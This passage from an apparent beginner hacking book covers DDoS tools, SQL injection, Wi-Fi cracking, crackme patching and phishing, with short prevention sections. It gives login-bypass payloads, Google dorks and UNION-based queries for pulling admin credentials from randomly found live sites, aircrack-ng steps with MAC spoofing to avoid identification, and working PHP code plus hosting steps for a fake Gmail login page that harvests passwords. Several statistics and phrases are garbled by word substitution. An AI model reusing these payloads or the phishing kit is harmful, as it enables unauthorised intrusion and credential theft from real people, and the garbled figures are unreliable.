very well have multiple origins, or be controlled by multiple people, generally operating in

coordination, generally operating singly. Botnets area unit obtainable for rent or lease

from numerous sources,anduse of Botnet’s are auctionedandlistedamong attackers. Actual

marketplaces have sprung up – platforms that modify commercialism in large numbers of

malware-infected PCs, which might be rented and employed in Botnet DDoS or different

attacks. These platforms offer Botnet DDoS attack perpetrators with an entire and richlyfeatured

toolkit, and a distribution network additionally.Even for non-technical users,

Botnet DDoS attacking may be a viable and efficient choice to “take out” a competitor’s

web site. At intervals the crime system, Botnet DDoS attacks area unit a thought artifact,

with costs taking place, and effectiveness and class growing. A number of the foremost

common tools for initiating a Botnet DDoS attack are simply downloaded from multiple

on-line sources, and include:

SlowLoris

Especially dangerous to hosts running Apache, dhttpd, tomcat and GoAhead WebServer,

Slowloris may be a highlytargeted attack, enabling one internet server to require down

another server, while not touching different services or ports on the target network.

Tor’s Hammer

Is a slow post dos testing tool written in Python. It also can be run through the Tor

network to be anonymized. There are several tools for testing server readiness to resist

Botnet DDoS attacks.

Qslowloris

Uses Qt libraries to execute the ways utilized by Slowloris, providing a graphical interface

that creates the program highly simple to use.

Apache Killer

Utilizes an exploit within the Apache OS initial discovered by a Google security engineer.

Apache Killer pings a server, tells the server to interrupt up whatever file is transferred

into a huge range of little chunks, using the “range” variable. When the server tries to

adjust to this request, it runs out of memory, or encounters alternative errors, and crashes.

PyLoris

It is a scriptable tool for testing a service’s level of vulnerability to a specific category of

Denial of Service (DoS) attack

DDoSim

Which can be employed in a laboratory atmosphere to simulate a DDoS attack, and helps

live the capability of a given server to handle application-specific DDOS attacks, by

simulating multiple zombie hosts with random IP addresses that create transmission

control protocol connections.

Botnet DDoS Attacks

Botnet DDoS attacks are quickly turning into the foremost prevailing variety of DDoS

threat, growing speedily within the past year in each number and volume, consistent with

recent marketing research. The trend is towards shorter attack period, however larger

packet-per second attack volume, and therefore the overall variety of attacks according has

grownup markedly, as well. The typical attack information measure ascertained

throughout this era of 2010-2012 was five.2G bps, which is 148% above the previous

quarter. Another survey of DDoS attacks found that quite 400th of respondent’s old

attacks that exceeded 1G bits per second in bandwidth in 2011, and 13 were targeted by a

minimum of one attack that exceeded 10G rate. From a motivational perspective, newer

analysis found that ideologically driven DDoS attacks are on the increase, supplanting

monetary motivation because the most frequent incentive such attacks.

WEBSITE HACKING

Now take your time and be serious and free before starting this article because this is the

very wide and one of the most interesting articles among all of the above chapters. We will

discuss in this chapter that how to hack any vulnerable site using SQL injection.

What is SQL Injection?

SQL injection is one of the popular web applications hacking method. Using the SQL

Injection attack, an unauthorized person can access the database of the website. Attacker

can extract the data from the Database.

What a hacker can do with SQL Injection attack?

* ByPassing Logins

* Accessing secret data

* Modifying contents of website

* Shutting down the My SQL server

So, here we start with bypassing login …….i.e.

Authentication bypass:

In this type of SQL injection generally if we had found the Admin login page and after

that we will try to open the control panel account of the admin by passing the

authentication.

If you have the admin login page of any website then you can paste the following codes

(with quotes) to bypass the authentication of the website ….generally PHP websites are

vulnerable to this injection:

You can find these types of sites simply by Google searches. You have to type like this in

the Google search bar:

www.thesitename.com/adminlogin.php? Or /admin.php? Or Wp-login.php? Etc.

After finding the login page you have to paste the following codes in both userID and

password of the admin page till it will bypassed. If not we will try the next SQL injection

i.e. union based, blind based, error based etc.

Codes to be used as both userID and password at the admin login page of vulnerable

website for bypassing authentication are as follow:

‘ or ’1’=’1 ‘ or ‘x’=‘x ‘ or 0=0 – ” or 0=0 – or 0=0 – ‘ or 0=0 # ” or 0=0 #

or 0=0 # ‘ or ‘x’=‘x ” or “x”=”x ‘) or (‘x’=‘x

‘ or 1=1– ” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’=‘a “) or (“a”=”a

hi” or “a”=”a hi” or 1=1 – hi’ or 1=1 – ‘or’1=1’

If the authentication bypass will not work then try the following techniques carefully and

step by step:

UNION BASED SQLi:

Finding Vulnerable Website:

To find a SQL Injection vulnerable site, you can use Google search by searching for

certain keywords. That keyword often called as “GOOGLE DORK”.

Some Examples:

inurl:index.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:pageid=

Now you have to Copy one of the above keyword and Google it. Here, we will get a lot of

search results with which we have to visit the websites one by one for finding the

vulnerability.

For example:

site:www.anyselectedsite.com inurl:index.php?id= Step 1: Findinging the Vulnerability:

Now let us the vulnerability of the target website. To the vulnerability, add the single

quotes(‘) at the end of the URL and press enter.

For eg:

http://www.anyselectedsite.com/index.php?id=2‘

If the page remains in same page or showing that page not found, then it is not vulnerable.

If you got an error message just like this, then it means that the site is vulnerable.

You have an error in your SQL syntax; the manual that corresponds to your MySQL server

version for the right syntax to use near ‘'’ at line 1

Step 2: Finding Number of columns in the database:

Great, we have found that the website is vulnerable to SQLi attack.

Our next step is to find the number of columns present in the target Database.

For that replace the single quotes(‘) with “order by n” statement.

Change the n from 1,2,3,4,,5,6,…n. Until you get the error like “unknown column “.

For eg:

http://www.anyselectedsite.com/index.php?id=2 order by 1

http://www.anyselectedsite.com/index.php?id=2 order by 2

http://www.anyselectedsite.com/index.php?id=2 order by 3

http://www.anyselectedsite.com/index.php?id=2 order by 4 If you get the error while

trying the “n”th number, then number of

column is “n-1”.

I mean:

http://www.anyselectedsite.com/index.php?id=2 order by 1(no error shown shown)

http://www.anyselectedsite.com/index.php?id=2 order by 2(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 3(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 4(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 5(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 6(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 7(no

error shown)

http://www.anyselectedsite.com/index.php?id=2 order by 8(error

shown)

So now n=8, the number of column is n-1 i.e., 7.

In case, if the above method fails to work for you, then try to add the “—” at the end of the

statement.

For eg:

http://www.anyselectedsite.com/index.php?id=2 order by 1-Step 3: Find the Vulnerable

columns:

We have successfully found the number of columns present in the target database. Let us

find the vulnerable column by trying the query “union select columns sequence”.

Change the id value to negative (i mean id=-2). Replace the columns_sequence with the

no from 1 to n-1(number of columns) separated with commas (,).

For eg:

If the number of columns is 7, then the query is as follow:

http://www.anyselectedsite.com/index.php?id=-2 union select 1, 2,3,4,5,6,7—

Ifyou have applied the above method and is not working then try this:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7-

Once you execute the query, it will display the vulnerable column.

Bingo, column ‘3’ and ‘7’ are found to be vulnerable. Let us take the first vulnerable

column ‘3’ . We can inject our query in this column.

Step 4: Finding version,database,user

Replace the 3 from the query with “version()”

For eg:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select 1, 2,

version(),4,5,6,7—

Now, It will display the version as 5.0.2 or 4.3. Something likes this.

Replace the version () with database () and user() for finding the database,user

respectively.

For eg:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select

1,2,database(),4,5,6,7-

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7-

If the above is not working, then try this:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select

1,2,unhex(hex(@@version)),4,5,6,7-

Step 5: Finding the Table Name

If the Database version is 5 or above. If the version is 4.x, then you

have to guess the table names (blind sql injection attack). Let us find the table name of the

database. Replace the 3 with

“group_concat(table_name) and add the “from

information_schema.tables where table_schema=database()”

For eg:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select

1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where

table_schema=database()-

Now it will display the list of table names. Find the table name which is related with the

admin or user.

Let us choose the “admin ”

table.

Step 6: Finding the Column Name

Now replace the “group_concat(table_name) with the “group_concat(column_name)”

Replace the “from information_schema.tables where table_schema=database()—” with

“FROM information_schema.columns WHERE table_name=mysqlchar—

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon from:

https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following one.

If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.

It will ask you to enter string that you want to convert to MySQLCHAR(). We want to

convert the table name to MySQLChar . In our case the table name is ‘admin’.

Now you can see the CHAR(numbers separated

with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the “mysqlchar”

For eg:

http://www.anyselectedsite.com/index.php?id=-2 and 1=2 union select

1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where

table_name=CHAR(97, 100,

109, 105, 110)—

The above query will display the list of column.

For example:

admin,password,admin_id,admin_name,admin_password,active,id

,admin_name,admin_pass,admin_id,admin_name,admin_passwo

rd,ID_admin,admin_usern me,username,password..etc..

Now replace the replace group_concat(column_name) with

group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the ” from table_name=CHAR(97, 100, table_name”

information_schema.columns where

109, 105, 110)” with the “from

For eg: http://www.anyselectedsite.com/index.php?id=-2

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from

admin-

If the above query displays the ‘column is not found’ error, then try another column name

from the list.

If we are lucky, then it will display the data stored in the database depending on your

column name. For example, username and password column will display the login

credentials stored in the database.

Step 7: Finding the Admin Panel:

Just try with url like:

http://www.anyselectedsite.com/admin.php

http://www.anyselectedsite.com/admin/

http://www.anyselectedsite.com/admin.html

http://www.anyselectedsite.com:2082/

etc.

If you are lucky, you will find the admin page using above urls or you can use some kind

of admin finder tools like Havij admin finder, sql poison for SQL attacking (tool).

And once you found the admin panel you have to do further works on your own risk.

PREVENTION:

This article is focused on providing clear, simple, actionable guidance for preventing SQL

Injection flaws in your applications. SQL Injection attacks are unfortunately very

common, and this is due to two factors:

1.) The significant prevalence of SQL Injection vulnerabilities, and

2.) The attractiveness of the target (i.e., the database typically contains all the

interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring,

because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database

queries that include user supplied input. To avoid SQL injection flaws is simple.

Developers need to either: a) stop writing dynamic queries; and/or b) prevent user

supplied input which contains malicious SQL from affecting the logic of the executed

query.

This article provides a set of simple techniques for preventing SQL Injection

vulnerabilities by avoiding these three problems. These techniques can be used with

practically any kind of programming language with any type of database.

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into

the query that would be executed by the database. The invalidated“customerName”

parameter that issimplyappended to the query allows an attacker to inject any SQL code

they want. Unfortunately, this method for accessing databases is all too common.

String query = “SELECT account_balance FROM user_data WHERE user_name = “

+ request.getParameter(“customerName”);

try {

Statement statement = connection.createStatement( … ); ResultSet results =

statement.executeQuery( query );

}

PREVENTIONS

Option 1: Prepared Statements (Parameterized Queries):

The use of prepared statements (parameterized queries) is how all developers should first

be taught how to write database queries. They are simple to write, and easier to understand

than dynamic queries. Parameterized queries force the developer to first define all the

SQL code, and then pass in each parameter to the query later. This coding style allows the

database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even

if SQL commands are inserted by an attacker. If an attacker were to enter the user ID ‘ or

‘1’=‘1 , the parameterized query would not be vulnerable.

2. Use dynamic SQL only if absolutely necessary.

Dynamic SQL can almost always be replaced with prepared statements, parameterized

queries, or stored procedures. For instance, instead of dynamic SQL, in Java you can use

PreparedStatement() with bind variables, in .NET you can use parameterized queries, such

as SqlCommand() or OleDbCommand() with bind variables, and in PHP you can use PDO

with strongly typed parameterized queries (using bindParam()).

In addition to prepared statements, you can use stored procedures. Unlike prepared

statements, stored procedures are kept in the database but both require first to define the

SQL code, and then to pass parameters.

3:- Escaping All User Supplied Input

This third technique is to escape user input before putting it in a query. If you are

concerned that rewriting your dynamic queries as prepared statements or stored

procedures might break your application or adversely affect performance, then this might

be the best approach for you. However, this methodology is frail compared to using

parameterized queries and i cannot guarantee it will prevent all SQL Injection in all

situations. This technique should only be used, with caution, to retrofit legacy code in a

cost effective way. Applications built from scratch, or applications requiring low risk

tolerance should be built or re-written using parameterized queries.

This technique works like this. Each DBMS supports one or more character escaping

schemes specific to certain kinds of queries. If you then escape all user supplied input

using the proper escaping scheme for the database you are using, the DBMS will not

confuse that input with SQL code written by the developer, thus avoiding any possible

SQL injection vulnerabilities.

4. Install patches regularly and timely.

Even if your code doesn’t have SQL vulnerabilities, when the database server, the

operating system, or the development tools you use have vulnerabilities, this is also risky.

This is why you should always install patches, especially SQL vulnerabilities patches,

right after they become available.

5. Remove all functionality you don’t use.

Database servers are complex beasts and they have much more functionality than you

need. As far as security is concerned, more is not better. For instance, the xp_cmdshell

extended stored procedure in MS SQL gives access to the shell and this is just what a

hacker dreams of. This is why you should disable this procedure and any other

functionality, which can easily be misused.

6. Use automated test tools for SQL injections. Even if developers follow the rules above

and do their best to avoid dynamic queries with unsafe user input, you still need to have a

procedure to confirm this compliance. There are automated test tools to check for SQL

injections and there is no excuse for not using them to check all the code of your database

applications.

SQL INJECT ME

TESTING SQL INJECTION BY USING TOOL

One of the easiest tool to test SQL injections is the Firefox extension named SQL Inject

ME. After you install the extension, the tool is available in the right-click context menu, as

well as from Tools→ Options. The sidebar of SQL Inject ME is shown in the next

screenshot and as you can see there are many tests you can run:

You can choose which tests to run and which values to test. When you press one of the

Test buttons, the selected tests will start. When the tests are done, you will see a report of

how the tests ended.

There are many options you can set for the SQL Inject ME extension, as shown in the next

two pictures:

As you see, there are many steps you can take in order to clean your code from potential

SQL injection vulnerabilities. Don’t neglect these simple steps because if you do, you will

compromise the security not only of your sites but also of all the sites that are hosted with

your web hosting provider.

WPA2 TESTING

WI-FI HACKING USING BACKTRACK

After performing the SQL injection, I can bet that now you have the endless curiosity to

explore more about the ethical hacking. And as according to your need now in this article

we are going to perform a hardcore hack using Backtrack Linux. we are going to learn that

how to crack the WI-FI using Backtrack.one more thing I want to add here that all these

stuff I am sharing with you is only for study purpose .if you have the black intentions just

leave the book now. If you are performing this article on your computer, you will be

responsible for any damage occurred by you.

So let’s start the article:

Now let us start with the Wi-Fi cracking. But before starting the tutorial let me give you a

small introduction to what Wi-Fi hacking is and what is the security protocols associated

with it.

In a secured wireless connected the data on internet is sent via encrypted packets. These

packets are secured with network keys. There are basically 2 types of security keys:

WEP (Wireless Encryption Protocol):- This is the most basic form of encryption. This has

become an unsafe option as it is vulnerable and can be cracked with relative ease.

Although this is the case many people still use this encryption.

WPA (WI-FI Protected Access) : This is the most secure wireless encryption. Cracking of

such network requires use of a wordlist with common passwords. This is sort of brute

force attack. This is virtually uncrackable if the network is secured with a strong password

So let’s begin the actual Wi-Fi Hacking tutorial! In order to crack Wi-Fi password, you

require the following things:

For the Wi-Fi hacking you need to install the Backtrack on your computer.

I am assuming that you have already installed the Backtrack on your pc. If not it’s very

easy to install by making bootable live CD/DVD. For installing processes you can just

Google it. You will get it easily.

Now open the console from the taskbar, Click on the icon against the dragon like icon in

the taskbar in the above screenshot.

You will have a Command Prompt like Shell called as console terminal.

1) Let’s start by putting our wireless adapter in monitor mode. It allows us to see all of the

wireless traffic that passes by us in the air. Type airmon-ng in the console terminal and

press Enter. You will have a screen like this, note down the name of interface, in this case

the name is wlan0.

2) Now type ifconfig wlan0 down and hit enter.

This command will disable your wireless adapter; we are doing this in order to change

your MAC address.

Now, you need to hide your identity so that you will not be identified by the victim.to do

this you need to type ifconfig wlan0 hw ether 00:11:22:33:44:55 and hit enter.

This command will change your MAC address to 00:11:22:33:44:55.

3) Now the next work is to type airmon-ng start wlan0 and press enter.

This will start the wireless adapter in monitor mode. Note down the new interface name, it

could be eth0 or mon0 or something like that.

The above command in the console has started your network adapter in monitor mode as

mon0:

4) Now that our wireless adapter is in monitor mode, we have the capability to see all the

wireless traffic that passes by in the air. We can grab that traffic by simply using the

airodump-ng command.

This command grabs all the traffic that your wireless adapter can see and displays critical

information about it, including the BSSID (the MAC address of the AP), power, number

of beacon frames, number of data frames, channel, speed, encryption (if any), and finally,

the ESSID (what most of us refer to as the SSID).

Let’s do this by typing:

airodump-ng mon0

In the above screenshot there is a list of available networks, Choose 1 network and note

the BSSID and channel of it.

5.) Type airodump-ng -c channel no –bssid BSSIDN1 mon0 -w filename and hit enter.

Replace channel no. and BSSIDN1 with the data from step 4. Replace the mon0 with

network interface name from step 3. In place of filename write any name and do

remember that. Better use filename itself.

This command will begin capturing the packets from the network. You need to capture

more and more packets in order to crack the Wi-Fi password. This packet capturing is a

slow process.

6.) To make the packet capturing faster, we will use another command. Open a new shell,

don’t close the previous shell. In new shell type aireplay-ng -1 0 -a BSSIDN1 -h

00:11:22:33:44:55 mon0 and hit enter.

Replace the BSSIDN1 with the data from step 4 and mon0 from step 3. This command

will boost the data capturing process.

The -1 tells the program the specific attack we wish to use which in this case is fake

authentication with the access point. The 0 cites the delay between attacks, -a is the MAC

address of the target access point, -h is your wireless adapters MAC address and the

command ends with your wireless adapters device name.

7.) Now wait for few minutes, let the DATA in the other console reach a count of 5000.

8.) After it reaches 5000, open another console and type aircrack-ng filename-01.cap and

hit enter.

Replace the filename with the name you used in step 5. Add -01.cap to it. .cap is the

extension of file having captured data packets. After typing this command, aircrack will

start trying to crack the Wi-Fi password. If the encryption used is WEP, it will surely crack

the password within few minutes.

In case of WPA use the following command instead of the above aircrack-ng -w

/pentest/wireless/aircrack-ng/test/password.lst -b BSSIDN1 filename-01.cap

Replace BSSIDN1 and filename with data you used. /pentest/wireless/aircrackng/

test/password.lst is the address of a file having wordlist of popular passwords. In case

of WPA aircrack will try to brute force the password. As I explained above that to crack

WPA you need a file having passwords to crack the encryption. If you are lucky enough

and the network owner is not smart enough, you will get the password.

PREVENTION:

For the prevention from being hacked you can refer to the chapter

“PASSWORD CREATING POLICIES”.

NEWBIE’S WAY TOWARDS REVERSE ENGINEERING

Now-a-days people expect more than something with an application as it is provided by

the developers. People want to use that specific application according to their own

preferences. So now we are here with an article on the topic reverse engineering. Let’s

start with simple engineering, “simple engineering” is the task to develop/build something

BUT Reverse engineering refers to the task to redevelop/re-build something. In simple

words reverse engineering is the task to modify the source code of the application to make

it work according to our way, Reverse engineering is a very complicated topic and is very

difficult to understand for beginners as it requires a prior knowledge of assembly

language.

Developing is easy but to re-developing is not easy !!Because while development a

programmer has to deal with the functions, pointers, conditions, loops etc… But while

DE-compilation process we need to deal with registers !

Generally 32 bit / 64 bit windows supports mainly 9 registers: –

Performing Registers

———————–

> EAX : Extended Accumulator Register

> EBX : Base Register

> ECX : Counter Register

> EDX : Data Register

Index

———

> ESI : Source Index

> EDI : Destination Index

Pointer

———–

> EBP : Base Pointer

> ESP : Stack Pointer

> EIP : Instruction Pointer

So , let’s move towards our way “How to modify the applications”

The general requirements you need for the modification are listed below and easily

available on the internet: –

1.OllyDBG

2.Crack Me App( click here to download)(register and activate your account before

download)

PROCESS:

When you have downloaded both the apps ,first of all you need to launch the Crack Me

App.

It will ask you to enter the password, enter any password you want and hit on “OK”.

Now

it will show you the error that “You are not authorized to use the application”.

Now open the OllyDBG and open the Crack me app in it.

When you have opened the Crack me app in OllyDBG,now in the upper left box, while

scrolling up you find the statement like this:– JE SHORT Password.00457728

Basically, this is a conditional jump that means if the condition is true then it will jump to

00457728 Which shows us the message “You are not authorized to use the application”

and if the condition is not true it just continues reading the code, So we don’t need this

jump to work as we don’t want to get the error message.

Now for removing the error message, we can change JE SHORT Password.00457728 to

JNE SHORT Password.00457728, JNE(Jump If Not Equal) means that if the password is

correct it will give you the error message and if the password is incorrect it will give you

the correct message.

For changing the query just double click the line JE SHORT Password.00457728 and

simply change it to JNE SHORT Password.00457728 and Hit on “Assemble”.

Now HIT on blue “PLAY” button in the upper side of the OllyDBG to start the Crack me

app again and enter the password then it will give you the correct message.

PHISHING ATTACK AHEAD

EMAIL AND FACEBOOK HACKING BY PHISHING

What is phishing?

Phishing is an attempt by the sender to have the receiver of the email to release their

personal information i.e. the attacker lures the victims to give some confidential

information.

Why phishing?

There are many password cracking tools that are coming and going into/from the market.

But phishing is the most efficient method to steal confidential information like, passwords,

Credit card numbers, Bank account numbers etc.

How phishing works?

It works just like normal fishing.

A fisherman generally throws bait into the water to lure the fish. Then a fish comes to take

the food feeling that it is legitimate. When it bites the bait, it will be caught by the hook.

Now the fisherman pulls out the fish.

In the same way, the hacker sends a fake login page to the victim. The victim thinks that it

is a legitimate one and enters his confidential information. Now the data will be with the

hacker.

Now, let’s learn how to hack by phishing:

I am selecting Gmail account to be hacked by phishing.

For phishing you need the following stuffs:

First of all you have to open the gamil.com by your browser and when page open

completely ,just give a right click on the page and a dialogue box will opens after you

having an option “view page source” in it.

Clickon the “view page source” option and you see that the source code of that page will

opens after you.

Then press ctrl+F to open the text/word finding box.

Type “action=” and replace it with anything.php

Such as “action=mail.php”

Then find for the “method=” and also replace it with “get”. Such as method=”get”.

Then save the file by anything.html Such as “Gmail.html”

Then create a blank notepad file “log.txt”

The again open the notepad and type the following codes:

<?php

header(“Location: http://www.Gmail.com”); $handle = fopen(“logs.txt”, “a”);

foreach($_GET as $variable => $value) { fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

} fwrite($handle, “\r\n”);

fclose($handle); exit;

Andsave it as “mail.php” (save this file by same name as you have replaced the

“action=”)

Now finally you have the three files which are required for the phishing.

1) Gmail.html (fake login page)

2) mail.php (to capture the login details)

3) log.txt (to store the captured details)

Procedure:

step1: create an account in any free web hosting site like www.bythost.com

www.000webhost.com

www.ripway.com

www.my3gb.com

step2: Now upload all the three files you have downloaded.(I have taken

www.my3gb.com)

step 3: Give the link of the fake page to your victim.

eg: www.yoursitename.my3gb.com/Gmail.html

Step 4: when he clicks the link, it opens a fake Gmail page where he enters his login

details. When he clicks sign in button, his login

details will be stored in log.txt file.

Demonstration:

Here I have uploaded my scripts on to

www.my3gb.com

And copy the Gmail.html link which you have to send the victim. i clicked the Gmail.html

link

A fake page was opened where i entered my login details.

This page will looks exactly similar to the original Gmail login page. And when the victim

enters his/her login details for logging in into his/her account.

Now, this time the victim will redirected to the original Gmail login website.

The victim will even don’t know that his/her account got hacked. Victim will think that the

page gets reloaded due to internet errors or login mistakes etc.

Now his/her login details were captured by the php script and stored in log.txt file as

shown in the figure below:

In the same way you can hack

FACEBOOK accounts and other social networking accounts.

How to protect ourselves from phishing?

Don’t use links

Be suspicious of any e-mail with urgent requests

By using secured websites

Using efficient browsers Using Antivirus or internet security software.

USB SECURITY

Securing Pen Drives From Malicious Viruses

Today, a giant downside for windows user is to secure their data from viruses. Especially,

in Pen drives, nobody needs to keep their vital data in pen drives as a result of pen drives

square measure transportable devices and through sharing data it may get infected by virus

like shortcut virus, Autorun.inf , and new folder virus etc. Some folks recover their data by

merely using Command prompt however some folks assume there’s solely possibility left

and it is to format the pen drive.

So, if your pendrive is infected by any of those virus you can merely follow these step to

induce your hidden data back.

Open CMD (command prompt)

Open Flash drive in CMD ( if your drive is ‘G’ than enter ‘G:’ after c:\user\ press

[ENTER] )

Now type following command and hit enter:

attrib -s -h /s /d

Now open your pen drive in windows you may see all of your files . However wait ! is it

enough ? No way! your pen drive is still not totally secure . Higher than command simply

shows all of your files that square measure hidden by viruses. If you want to shield your

USB from obtaining unwanted files i.e. virus, worm, spy, Trojan etc. then you need to

follow these steps.

What I’m going to tell you is tha t a way to setup your registry to finish a computer from

saving files to your USB. If you have windows seven or windows eight then you’ll

immobilize the writing choice to USB drives. This trick is incredibly useful if you have

virus in your laptop and want to repeat files from a USB Drive however also don’t want to

transfer virus to the USB. Follow the given steps to disable the USB writing option:

Open notepad and replica and paste the following:

Windows registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlStorageD evicePolicies]

“WriteProtect”=dword:00000001

Now keep the file with the extension “.reg”.

Click on the file you now saved. within the pop-up window selected affirmative and then

OK.

That’s it your USB is currently secure

TURNING THE SECURITY OFF

To just off this security measure

Open notepad and copy and paste the following:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlStorageD evicePolicies]

“WriteProtect”=dword:00000000

Now overlo oked the file with the extension “.reg”. Click on the file you currently saved.

within the pop-up window click affirmative and then OK. That’s it your defense is

currently disabled.

tool by simple Google searches. You will find a lot of tools like this and have almost same

functioning.

MOBILE: “I CAN CONTROL YOUR PC”

FULL CONTROL YOUR PC BY PHONE

Now I have a very interesting thing for you ……I know you got tired by those difficult

hackings chapters mentioned in above chapters.

In this article I are going to tell you that how to control your computer fully by your

mobile phone. It’s a very interesting thing for you if you got tired by using the track pad

and keyboard of your computer.

So let’s see how to do it:

In this article I am going to use a tool name as UNIFIED REMOTE which is used to
